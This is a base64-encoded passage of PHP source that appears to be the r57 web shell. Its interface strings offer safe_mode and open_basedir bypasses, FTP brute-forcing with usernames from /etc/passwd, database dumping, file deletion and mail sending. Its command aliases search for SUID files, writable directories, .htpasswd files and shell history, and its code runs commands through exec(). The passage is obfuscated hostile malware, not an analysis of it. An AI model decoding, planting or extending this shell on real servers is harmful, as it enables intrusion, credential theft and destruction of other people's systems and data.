dHQ1JyA9PidSdW4nLA0KJ2VuZ190ZXh0MjgnPT4nV29yayBpbiBzYWZlX21vZGUnLA0KJ2VuZ190ZXh0 MjknPT4nQUNDRVNTIERFTklFRCcsDQonZW5nX2J1dHQ2JyA9PidDaGFuZ2UnLA0KJ2VuZ190ZXh0MzAn PT4nQ2F0IGZpbGUnLA0KJ2VuZ19idXR0NycgPT4nU2hvdycsDQonZW5nX3RleHQzMSc9PidGaWxlIG5v

dCBmb3VuZCcsDQonZW5nX3RleHQzMic9PidFdmFsIFBIUCBjb2RlJywNCidlbmdfdGV4dDMzJz0+J1Rl c3QgYnlwYXNzIG9wZW5fYmFzZWRpciB3aXRoIGNVUkwgZnVuY3Rpb25zJywNCidlbmdfYnV0dDgnID0+ J1Rlc3QnLA0KJ2VuZ190ZXh0MzQnPT4nVGVzdCBieXBhc3Mgc2FmZV9tb2RlIHdpdGggaW5jbHVkZSBm dW5jdGlvbicsDQonZW5nX3RleHQzNSc9PidUZXN0IGJ5cGFzcyB3aXRoIGxvYWQgZmlsZSBpbiBteXNx bCAtIGVkaXRlZCBieSBBbHVjYXInLA0KJ2VuZ190ZXh0MzYnPT4nRGIgLiBUYWJsZScsDQonZW5nX3Rl eHQzNyc9PidMb2dpbicsDQonZW5nX3RleHQzOCc9PidQYXNzd29yZCcsDQonZW5nX3RleHQzOSc9PidE YXRhYmFzZScsDQonZW5nX3RleHQ0MCc9PidEdW1wIGRhdGFiYXNlIHRhYmxlJywNCidlbmdfYnV0dDkn ID0+J0R1bXAnLA0KJ2VuZ190ZXh0NDEnPT4nU2F2ZSBkdW1wIGluIGZpbGUnLA0KJ2VuZ190ZXh0NDIn PT4nRWRpdCBmaWxlcycsDQonZW5nX3RleHQ0Myc9PidGaWxlIGZvciBlZGl0JywNCidlbmdfYnV0dDEw Jz0+J1NhdmUnLA0KJ2VuZ190ZXh0NDQnPT4nQ2FuXCd0IGVkaXQgZmlsZSEgT25seSByZWFkIGFjY2Vz cyEnLA0KJ2VuZ190ZXh0NDUnPT4nRmlsZSBzYXZlZCcsDQonZW5nX3RleHQ0Nic9PidTaG93IHBocGlu Zm8oKScsDQonZW5nX3RleHQ0Nyc9PidTaG93IHZhcmlhYmxlcyBmcm9tIHBocC5pbmknLA0KJ2VuZ190 ZXh0NDgnPT4nRGVsZXRlIHRlbXAgZmlsZXMnLA0KJ2VuZ19idXR0MTEnPT4nRWRpdCBmaWxlJywNCidl bmdfdGV4dDQ5Jz0+J0RlbGV0ZSBzY3JpcHQgZnJvbSBzZXJ2ZXInLA0KJ2VuZ190ZXh0NTAnPT4nVmll dyBjcHUgaW5mbycsDQonZW5nX3RleHQ1MSc9PidWaWV3IG1lbW9yeSBpbmZvJywNCidlbmdfdGV4dDUy Jz0+J0ZpbmQgdGV4dCcsDQonZW5nX3RleHQ1Myc9PidJbiBkaXJzJywNCidlbmdfdGV4dDU0Jz0+J0Zp bmQgdGV4dCBpbiBmaWxlcycsDQonZW5nX2J1dHQxMic9PidGaW5kJywNCidlbmdfdGV4dDU1Jz0+J09u bHkgaW4gZmlsZXMnLA0KJ2VuZ190ZXh0NTYnPT4nTm90aGluZyA6KCcsDQonZW5nX3RleHQ1Nyc9PidD cmVhdGUvRGVsZXRlIEZpbGUvRGlyJywNCidlbmdfdGV4dDU4Jz0+J25hbWUnLA0KJ2VuZ190ZXh0NTkn PT4nZmlsZScsDQonZW5nX3RleHQ2MCc9PidkaXInLA0KJ2VuZ19idXR0MTMnPT4nQ3JlYXRlL0RlbGV0 ZScsDQonZW5nX3RleHQ2MSc9PidGaWxlIGNyZWF0ZWQnLA0KJ2VuZ190ZXh0NjInPT4nRGlyIGNyZWF0 ZWQnLA0KJ2VuZ190ZXh0NjMnPT4nRmlsZSBkZWxldGVkJywNCidlbmdfdGV4dDY0Jz0+J0RpciBkZWxl dGVkJywNCidlbmdfdGV4dDY1Jz0+J0NyZWF0ZScsDQonZW5nX3RleHQ2Nic9PidEZWxldGUnLA0KJ2Vu Z190ZXh0NjcnPT4nQ2hvd24vQ2hncnAvQ2htb2QnLA0KJ2VuZ190ZXh0NjgnPT4nQ29tbWFuZCcsDQon ZW5nX3RleHQ2OSc9PidwYXJhbTEnLA0KJ2VuZ190ZXh0NzAnPT4ncGFyYW0yJywNCidlbmdfdGV4dDcx Jz0+IlNlY29uZCBjb21tYW5kcyBwYXJhbSBpczpcclxuLSBmb3IgQ0hPV04gLSBuYW1lIG9mIG5ldyBv d25lciBvciBVSURcclxuLSBmb3IgQ0hHUlAgLSBncm91cCBuYW1lIG9yIEdJRFxyXG4tIGZvciBDSE1P RCAtIDA3NzcsIDA3NTUuLi4iLA0KJ2VuZ190ZXh0NzInPT4nVGV4dCBmb3IgZmluZCcsDQonZW5nX3Rl eHQ3Myc9PidGaW5kIGluIGZvbGRlcicsDQonZW5nX3RleHQ3NCc9PidGaW5kIGluIGZpbGVzJywNCidl bmdfdGV4dDc1Jz0+JyogeW91IGNhbiB1c2UgcmVnZXhwJywNCidlbmdfdGV4dDc2Jz0+J1NlYXJjaCB0 ZXh0IGluIGZpbGVzIHZpYSBmaW5kJywNCidlbmdfdGV4dDgwJz0+J1R5cGUnLA0KJ2VuZ190ZXh0ODEn PT4nTmV0JywNCidlbmdfdGV4dDgyJz0+J0RhdGFiYXNlcycsDQonZW5nX3RleHQ4Myc9PidSdW4gU1FM IHF1ZXJ5JywNCidlbmdfdGV4dDg0Jz0+J1NRTCBxdWVyeScsDQonZW5nX3RleHQ4NSc9PidUZXN0IGJ5 cGFzcyBzYWZlX21vZGUgd2l0aCBjb21tYW5kcyBleGVjdXRlIHZpYSBNU1NRTCBzZXJ2ZXInLA0KJ2Vu Z190ZXh0ODYnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSBzZXJ2ZXInLA0KJ2VuZ19idXR0MTQnPT4nRG93 bmxvYWQnLA0KJ2VuZ190ZXh0ODcnPT4nRG93bmxvYWQgZmlsZXMgZnJvbSByZW1vdGUgZnRwLXNlcnZl cicsDQonZW5nX3RleHQ4OCc9PidGVFAtc2VydmVyOnBvcnQnLA0KJ2VuZ190ZXh0ODknPT4nRmlsZSBv biBmdHAnLA0KJ2VuZ190ZXh0OTAnPT4nVHJhbnNmZXIgbW9kZScsDQonZW5nX3RleHQ5MSc9PidBcmNo aXZhdGlvbicsDQonZW5nX3RleHQ5Mic9Pid3aXRob3V0IGFyY2hpdmF0aW9uJywNCidlbmdfdGV4dDkz Jz0+J0ZUUCcsDQonZW5nX3RleHQ5NCc9PidGVFAtYnJ1dGVmb3JjZScsDQonZW5nX3RleHQ5NSc9PidV c2VycyBsaXN0JywNCidlbmdfdGV4dDk2Jz0+J0NhblwndCBnZXQgdXNlcnMgbGlzdCcsDQonZW5nX3Rl eHQ5Nyc9PidjaGVja2VkOiAnLA0KJ2VuZ190ZXh0OTgnPT4nc3VjY2VzczogJywNCidlbmdfdGV4dDk5 Jz0+JyogdXNlIHVzZXJuYW1lIGZyb20gL2V0Yy9wYXNzd2QgZm9yIGZ0cCBsb2dpbiBhbmQgcGFzc3dv cmQnLA0KJ2VuZ190ZXh0MTAwJz0+J1NlbmQgZmlsZSB0byByZW1vdGUgZnRwIHNlcnZlcicsDQonZW5n X3RleHQxMDEnPT4nVXNlIHJldmVyc2UgKHVzZXIgLT4gcmVzdSkgbG9naW4gZm9yIHBhc3N3b3JkJywN CidlbmdfdGV4dDEwMic9PidNYWlsJywNCidlbmdfdGV4dDEwMyc9PidTZW5kIGVtYWlsJywNCidlbmdf dGV4dDEwNCc9PidTZW5kIGZpbGUgdG8gZW1haWwnLA0KJ2VuZ190ZXh0MTA1Jz0+J1RvJywNCidlbmdf dGV4dDEwNic9PidGcm9tJywNCidlbmdfdGV4dDEwNyc9PidTdWJqJywNCidlbmdfYnV0dDE1Jz0+J1Nl bmQnLA0KJ2VuZ190ZXh0MTA4Jz0+J01haWwnLA0KJ2VuZ190ZXh0MTA5Jz0+J0hpZGUnLA0KJ2VuZ190 ZXh0MTEwJz0+J1Nob3cnLA0KJ2VuZ190ZXh0MTExJz0+J1NRTC1TZXJ2ZXIgOiBQb3J0JywNCidlbmdf dGV4dDExMic9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUgd2l0aCBmdW5jdGlvbiBtYl9zZW5kX21haWwn LA0KJ2VuZ190ZXh0MTEzJz0+J1Rlc3QgYnlwYXNzIHNhZmVfbW9kZSwgdmlldyBkaXIgbGlzdCB2aWEg aW1hcF9saXN0JywNCidlbmdfdGV4dDExNCc9PidUZXN0IGJ5cGFzcyBzYWZlX21vZGUsIHZpZXcgZmls ZSBjb250ZXN0IHZpYSBpbWFwX2JvZHknLA0KJ2VuZ190ZXh0MTE1Jz0+J1Rlc3QgYnlwYXNzIHNhZmVf bW9kZSwgY29weSBmaWxlIHZpYSBjb21wcmVzcy56bGliOi8vIGluIGZ1bmN0aW9uIGNvcHkoKScsDQon ZW5nX3RleHQxMTYnPT4nQ29weSBmcm9tJywNCidlbmdfdGV4dDExNyc9Pid0bycsDQonZW5nX3RleHQx MTgnPT4nRmlsZSBjb3BpZWQnLA0KJ2VuZ190ZXh0MTE5Jz0+J0NhbnQgY29weSBmaWxlJywNCidlbmdf dGV4dDEyMCc9PidTUUwtU2VydmVyJywNCidlbmdfdGV4dDEyMSc9PidCeXBhc3MgcGhwIDUuMi42JywN CidlbmdfdGV4dDEyMic9PidUZXN0IGJ5cGFzcyBvcGVuX2Jhc2VkaXIsIHZpZXcgZGlyIGxpc3Qgdmlh IGZvcGVuIChQSFAgdjQuNC4wIG1lbW9yeSBsZWFrKSBieSBOU1QnLA0KJ2VuZ190ZXh0MTIzJz0+J1Rl

c3QgYnlwYXNzIG9wZW5fYmFzZWRpciwgdmlldyBkaXIgbGlzdCB2aWEgcmVhbHBhdGgoKSAoUEhQIDw9 IDUuMi40KScsDQonZW5nX3RleHQxMjQnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUg ZmlsZSB2aWEgc2Vzc2lvbl9zYXZlX3BhdGhbTlVMTC1ieXRlXSAoUEhQIDw9IDUuMi4wKScsDQonZW5n X3RleHQxMjUnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNlZGlyLCBjcmVhdGUgZmlsZSB2aWEgc2Vzc2lv bl9zYXZlX3BhdGgoVE1QRElSKSAoUEhQIDw9IDUuMi40KScsDQonZW5nX3RleHQxMjYnPT4nVGVzdCBi eXBhc3Mgb3Blbl9iYXNlZGlyLCBhZGQgZGF0YSB0byBmaWxlIHZpYSByZWFkZmlsZShwaHA6Ly8pIChQ SFAgPD0gNS4yLjEsIDQuNC40KScsDQonZW5nX3RleHQxMjcnPT4nVGVzdCBieXBhc3Mgb3Blbl9iYXNl ZGlyLCBjcmVhdGUgZmlsZSB2aWEgZm9wZW4oc3JwYXRoOi8vKSAoUEhQIHY1LjIuMCkgJywNCidlbmdf dGV4dDEyOCc9PidEYXRhJywNCidlbmdfdGV4dDEyOSc9PidEaWN0aW9uYXJ5JywNCidlbmdfdGV4dDEz MCc9PidEb1MnLA0KJ2VuZ190ZXh0MTMxJz0+J0RhbmdlciEgV2ViLWRhZW1vbiBjcmFzaCBwb3NzaWJs ZS4nLA0KJ2VuZ19lcnIwJz0+J0Vycm9yISBDYW5cJ3Qgd3JpdGUgaW4gZmlsZSAnLA0KJ2VuZ19lcnIx Jz0+J0Vycm9yISBDYW5cJ3QgcmVhZCBmaWxlICcsDQonZW5nX2VycjInPT4nRXJyb3IhIENhblwndCBj cmVhdGUgJywNCidlbmdfZXJyMyc9PidFcnJvciEgQ2FuXCd0IGNvbm5lY3QgdG8gZnRwJywNCidlbmdf ZXJyNCc9PidFcnJvciEgQ2FuXCd0IGxvZ2luIG9uIGZ0cCBzZXJ2ZXInLA0KJ2VuZ19lcnI1Jz0+J0Vy cm9yISBDYW5cJ3QgY2hhbmdlIGRpciBvbiBmdHAnLA0KJ2VuZ19lcnI2Jz0+J0Vycm9yISBDYW5cJ3Qg c2VudCBtYWlsJywNCidlbmdfZXJyNyc9PidNYWlsIHNlbmQnLA0KJ2VuZ190ZXh0MjAwJz0+J3JlYWQg ZmlsZSBmcm9tIHZ1bCBjb3B5KCknLA0KJ2VuZ190ZXh0MjAyJz0+J3doZXJlIGZpbGUgaW4gc2VydmVy JywNCidlbmdfdGV4dDMwMCc9PidyZWFkIGZpbGUgZnJvbSB2dWwgY3VybCgpJywNCidlbmdfdGV4dDIw Myc9PidyZWFkIGZpbGUgZnJvbSB2dWwgaW5pX3Jlc3RvcmUoKScsDQonZW5nX3RleHQyMDQnPT4nd3Jp dGUgc2hlbGwgZnJvbSB2dWwgZXJyb3JfbG9nKCknLA0KJ2VuZ190ZXh0MjA1Jz0+J3dyaXRlIHNoZWxs IGluIHRoaXMgc2lkZScsDQonZW5nX3RleHQyMDYnPT4ncmVhZCBkaXInLA0KJ2VuZ190ZXh0MjA3Jz0+ J3JlYWQgZGlyIGZyb20gdnVsIHJlZ19nbG9iJywNCidlbmdfdGV4dDIwOCc9PidleGVjdXRlIHdpdGgg ZnVuY3Rpb24nLA0KJ2VuZ190ZXh0MjA5Jz0+J3JlYWQgZGlyIGZyb20gdnVsIHJvb3QnLA0KJ2VuZ190 ZXh0MjEwJz0+J0RlWmVuZGVyICcsDQonZW5nX3RleHQyMTEnPT4nOjpzYWZlX21vZGUgb2ZmOjonLA0K J2VuZ190ZXh0MjEyJz0+J0Nsb3NlIHNhZmVfbW9kZSB3aXRoIHBocC5pbmknLA0KJ2VuZ190ZXh0MjEz Jz0+J0Nsb3NlIHNlY3VyaXR5X21vZCB3aXRoIC5odGFjY2VzcycsDQonZW5nX3RleHQyMTQnPT4nQWRt aW4gbmFtZScsDQonZW5nX3RleHQyMTUnPT4nSVJDIHNlcnZlciAnLA0KJ2VuZ190ZXh0MjE2Jz0+JyNy b29tIG5hbWUnLA0KJ2VuZ190ZXh0MjE3Jz0+J3NlcnZlcicsDQonZW5nX3RleHQyMTgnPT4nd3JpdGUg aW5pLnBocCBmaWxlIHRvIGNsb3NlIHNhZmVfbW9kZSB3aXRoIGluaV9yZXN0b3JlIHZ1bCcsDQonZW5n X3RleHQyMTknPT4nR2V0IGZpbGUgdG8gc2VydmVyIGluIHNhZmVfbW9kZSBhbmQgY2hhbmdlIG5hbWUn LA0KJ2VuZ190ZXh0MjIwJz0+J3Nob3cgZmlsZSB3aXRoIHN5bWxpbmsgdnVsJywNCidlbmdfdGV4dDIy MSc9Pid6aXAgZmlsZSBpbiBzZXJ2ZXIgdG8gZG93bmxvYWQnLA0KJ2VuZ190ZXh0MjIyJz0+JzIgc3lt bGluayB1c2UgdnVsJywNCidlbmdfdGV4dDIyMyc9PidyZWFkIGZpbGUgZnJvbSBmdW5jdXRpb24nLA0K J2VuZ190ZXh0MjI0Jz0+J3JlYWQgZmlsZSBmcm9tIFBMVUdJTicsDQonZW5nX3RleHQyMjUnID0+ICdo dGFjY2VzcyBzYWZlbW9kZSBhbmQgb3Blbl9iYXNlZGlyIGJ5cGFzcycsDQonZW5nX3RleHQyMjYnID0+ ICdXcml0ZSB0byBmaWxlJywNCidlbmdfdGV4dDIyNycgPT4gJ0NvbnRlbnQnLA0KJ2VuZ190ZXh0MjI4 JyA9PiAnU1NJIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjI5JyA9PiAnQ09NIGZ1bmN0aW9u cyBzYWZlX21vZGUgYW5kIGRpc2FibGVfZnVuY3Rpb24gYnlwYXNzJywNCidlbmdfdGV4dDIzMCcgPT4g J2lvbkN1YmUgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjMxJyA9PiAnd2lu MzJzdGQgZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjMyJyA9PiAnd2luMzJz ZXJ2aWNlIGV4dGVuc2lvbiBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDIzMycgPT4gJ3Blcmwg ZXh0ZW5zaW9uIHNhZmVfbW9kZSBieXBhc3MnLA0KJ2VuZ190ZXh0MjM0JyA9PiAnRkZJIGV4dGVuc2lv biBzYWZlX21vZGUgYnlwYXNzJywNCidlbmdfdGV4dDEzNyc9PidVc2VmdWwnLA0KJ2VuZ190ZXh0MTM4 Jz0+J0Rhbmdlcm91cycsDQonZW5nX3RleHQxNDInPT4nRG93bmxvYWRlcnMnLA0KJ2VuZ19idXR0NjUn PT4nV3JpdGUnLA0KKTsNCiRhbGlhc2VzPWFycmF5KA0KJ2ZpbmQgc3VpZCBmaWxlcyc9PidmaW5kIC8g LXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzJywNCidmaW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXIn PT4nZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scycsDQonZmluZCBzZ2lkIGZpbGVzJz0+J2Zp bmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMnLA0KJ2ZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50 IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzJywNCidmaW5kIGNvbmZpZy5pbmMu cGhwIGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIGNvbmZpZy5pbmMucGhwJywNCidmaW5kIGNv bmZpZy5pbmMucGhwIGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIGNv bmZpZy5pbmMucGhwJywNCidmaW5kIGNvbmZpZyogZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUg ImNvbmZpZyoiJywNCidmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10 eXBlIGYgLW5hbWUgImNvbmZpZyoiJywNCidmaW5kIGFsbCB3cml0YWJsZSBmaWxlcyc9PidmaW5kIC8g LXR5cGUgZiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHdyaXRhYmxlIGZpbGVzIGluIGN1cnJlbnQg ZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGly ZWN0b3JpZXMnPT4nZmluZCAvICAtdHlwZSBkIC1wZXJtIC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFi bGUgZGlyZWN0b3JpZXMgaW4gY3VycmVudCBkaXInPT4nZmluZCAuIC10eXBlIGQgLXBlcm0gLTIgLWxz JywNCidmaW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXMnPT4nZmluZCAvIC1wZXJt IC0yIC1scycsDQonZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJl

bnQgZGlyJz0+J2ZpbmQgLiAtcGVybSAtMiAtbHMnLA0KJ2ZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVz Jz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCidmaW5kIHNlcnZpY2UucHdkIGZp bGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkJywNCidm aW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMnPT4nZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkJywN CidmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFt ZSAuaHRwYXNzd2QnLA0KJ2ZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXMnPT4nZmluZCAvIC10eXBl IGYgLW5hbWUgLmJhc2hfaGlzdG9yeScsDQonZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJl bnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnknLA0KJ2ZpbmQgYWxsIC5t eXNxbF9oaXN0b3J5IGZpbGVzJz0+J2ZpbmQgLyAtdHlwZSBmIC1uYW1lIC5teXNxbF9oaXN0b3J5JywN CidmaW5kIC5teXNxbF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyJz0+J2ZpbmQgLiAtdHlwZSBm IC1uYW1lIC5teXNxbF9oaXN0b3J5JywNCidmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMnPT4nZmlu ZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjJywNCidmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBp biBjdXJyZW50IGRpcic9PidmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMnLA0KJ2xpc3Qg ZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtJz0+J2xz YXR0ciAtdmEnLA0KJ3Nob3cgb3BlbmVkIHBvcnRzJz0+J25ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0 ZW4nLA0KJy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0nPT4nbHMgLWxhJw0K KTsNCiR0YWJsZV91cDEgID0gIjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrDQo+PGZvbnQg ZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBjbGFzcz10dCBhbGlnbj1jZW50ZXI+OjogIjsNCiR0 YWJsZV91cDIgID0gIiA6OjwvZGl2PjwvYj48L2ZvbnQ+PC90ZD48L3RyPjx0cj48dGQgY2xhc3M9bWFp bj4iOw0KJHRhYmxlX3VwMyAgPSAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3Bh Y2luZz0wIGJnY29sb3I9QmxhY2s+PHRyPjx0ZCBjbGFzcz1tYWluPiI7DQokdGFibGVfZW5kMSA9ICI8 L3RkPjwvdHI+IjsNCiRhcnJvdyA9ICIgPGZvbnQgZmFjZT1XZWJkaW5ncyBjb2xvcj1XaGl0ZT40PC9m b250PiI7DQokbGIgPSAiPGZvbnQgY29sb3I9V2hpdGU+WzwvZm9udD4iOw0KJHJiID0gIjxmb250IGNv bG9yPVdoaXRlPl08L2ZvbnQ+IjsNCiRmb250ID0gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiI7 DQokdHMgPSAiPHRhYmxlIGNsYXNzPXRhYmxlMSB3aWR0aD0xMDAlIGFsaWduPWNlbnRlcj4iOw0KJHRl ID0gIjwvdGFibGU+IjsNCiRmcyA9ICI8Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiRmZSA9 ICI8L2Zvcm0+IjsNCg0KaWYoaXNzZXQoJF9HRVRbJ3VzZXJzJ10pKQ0KIHsNCiBpZighJHVzZXJzPWdl dF91c2VycygpKSB7IGVjaG8gIjxjZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9 V2hpdGU+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTYnXS4iPC9mb250PjwvY2VudGVyPiI7IH0NCiBl bHNlDQogIHsNCiAgZWNobyAnPGNlbnRlcj4nOw0KICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikgeyBl Y2hvICR1c2VyLiI8YnI+IjsgfQ0KICBlY2hvICc8L2NlbnRlcj4nOw0KICB9DQogZWNobyAiPGJyPjxk aXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlsgPGEgaHJlZj0iLiRf U0VSVkVSWydQSFBfU0VMRiddLiI+QkFDSzwvYT4gXTwvYj48L2ZvbnQ+PC9kaXY+IjsgZGllKCk7DQog fQ0KDQppZiAoIWVtcHR5KCRfUE9TVFsnZGlyJ10pKSB7IEBjaGRpcigkX1BPU1RbJ2RpciddKTsgfQ0K JGRpciA9IEBnZXRjd2QoKTsNCiR1bml4ID0gMDsNCmlmKHN0cmxlbigkZGlyKT4xICYmICRkaXJbMV09 PSI6IikgJHVuaXg9MDsgZWxzZSAkdW5peD0xOw0KaWYoZW1wdHkoJGRpcikpDQogew0KICRvcyA9IGdl dGVudignT1MnKTsNCiBpZihlbXB0eSgkb3MpKXsgJG9zID0gcGhwX3VuYW1lKCk7IH0NCiBpZihlbXB0 eSgkb3MpKXsgJG9zID0iLSI7ICR1bml4PTE7IH0NCiBlbHNlDQogICAgew0KICAgIGlmKEBlcmVnaSgi XndpbiIsJG9zKSkgeyAkdW5peCA9IDA7IH0NCiAgICBlbHNlIHsgJHVuaXggPSAxOyB9DQogICAgfQ0K IH0NCmlmKCFlbXB0eSgkX1BPU1RbJ3NfZGlyJ10pICYmICFlbXB0eSgkX1BPU1RbJ3NfdGV4dCddKSAm JiAhZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXSA9PSAic2VhcmNoX3RleHQiKQ0K ICB7DQogICAgZWNobyAkaGVhZDsNCiAgICBpZighZW1wdHkoJF9QT1NUWydzX21hc2snXSkgJiYgIWVt cHR5KCRfUE9TVFsnbSddKSkgeyAkc3IgPSBuZXcgU2VhcmNoUmVzdWx0KCRfUE9TVFsnc19kaXInXSwk X1BPU1RbJ3NfdGV4dCddLCRfUE9TVFsnc19tYXNrJ10pOyB9DQogICAgZWxzZSB7ICRzciA9IG5ldyBT ZWFyY2hSZXN1bHQoJF9QT1NUWydzX2RpciddLCRfUE9TVFsnc190ZXh0J10pOyB9DQogICAgJHNyLT5T ZWFyY2hUZXh0KDAsMCk7DQogICAgJHJlcyA9ICRzci0+R2V0UmVzdWx0RmlsZXMoKTsNCiAgICAkZm91 bmQgPSAkc3ItPkdldE1hdGNoZXNDb3VudCgpOw0KICAgICR0aXRsZXMgPSAkc3ItPkdldFRpdGxlcygp Ow0KICAgICRyID0gIiI7DQogICAgaWYoJGZvdW5kID4gMCkNCiAgICB7DQogICAgICAkciAuPSAiPFRB QkxFIHdpZHRoPTEwMCU+IjsNCiAgICAgIGZvcmVhY2goJHJlcyBhcyAkZmlsZT0+JHYpDQogICAgICB7 DQogICAgICAgICRyIC49ICI8VFI+IjsNCiAgICAgICAgJHIgLj0gIjxURCBjbGFzcz1tYWluIGNvbHNw YW49Mj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLndzKDMpOw0KICAgICAgICAkciAuPSAo ISR1bml4KT8gc3RyX3JlcGxhY2UoIi8iLCJcXCIsJGZpbGUpIDogJGZpbGU7DQogICAgICAgICRyIC49 ICI8L2I+PC9mb250PjwvIFREPiI7DQogICAgICAgICRyIC49ICI8L1RSPiI7DQogICAgICAgIGZvcmVh Y2goJHYgYXMgJGE9PiRiKQ0KICAgICAgICB7DQogICAgICAgICAgJHIgLj0gIjxUUj4iOw0KICAgICAg ICAgICRyIC49ICI8VEQgY2xhc3M9bWFpbiBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5h IHNpemU9LTI+Ii4kYS4iPC9mb250PjwvQj48L1REPiI7DQogICAgICAgICAgJHIgLj0gIjxURCBjbGFz cz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPiIud3MoMikuJGIuIjwvZm9udD48L1REPiI7 DQogICAgICAgICAgJHIgLj0gIjwvVFI+XG4iOw0KICAgICAgICB9DQogICAgICB9DQogICAgICAkciAu PSAiPC9UQUJMRT4iOw0KICAgIGVjaG8gJHI7DQogICAgfQ0KICAgIGVsc2UNCiAgICB7DQogICAgICBl

Y2hvICI8UCBhbGlnbj1jZW50ZXI+PEI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0NTYnXS4iPC9CPjwvZm9udD48L1A+IjsNCiAgICB9DQogIGVjaG8gIjxicj48 ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4k X1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7DQogIGRpZSgp Ow0KICB9DQppZighJHNhZmVfbW9kZSAmJiBzdHJwb3MoZXgoImVjaG8gYWJjcjU3IiksInI1NyIpIT0z KSB7ICRzYWZlX21vZGUgPSAxOyB9DQokU0VSVkVSX1NPRlRXQVJFID0gZ2V0ZW52KCdTRVJWRVJfU09G VFdBUkUnKTsNCmlmKGVtcHR5KCRTRVJWRVJfU09GVFdBUkUpKXsgJFNFUlZFUl9TT0ZUV0FSRSA9ICIt IjsgfQ0KZnVuY3Rpb24gd3MoJGkpDQp7DQpyZXR1cm4gQHN0cl9yZXBlYXQoIiZuYnNwOyIsJGkpOw0K fQ0KZnVuY3Rpb24gZXgoJGNmZSkNCnsNCiAkcmVzID0gJyc7DQogaWYgKCFlbXB0eSgkY2ZlKSkNCiB7 DQogIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKQ0KICAgew0KICAgIEBleGVjKCRjZmUsJHJlcyk7 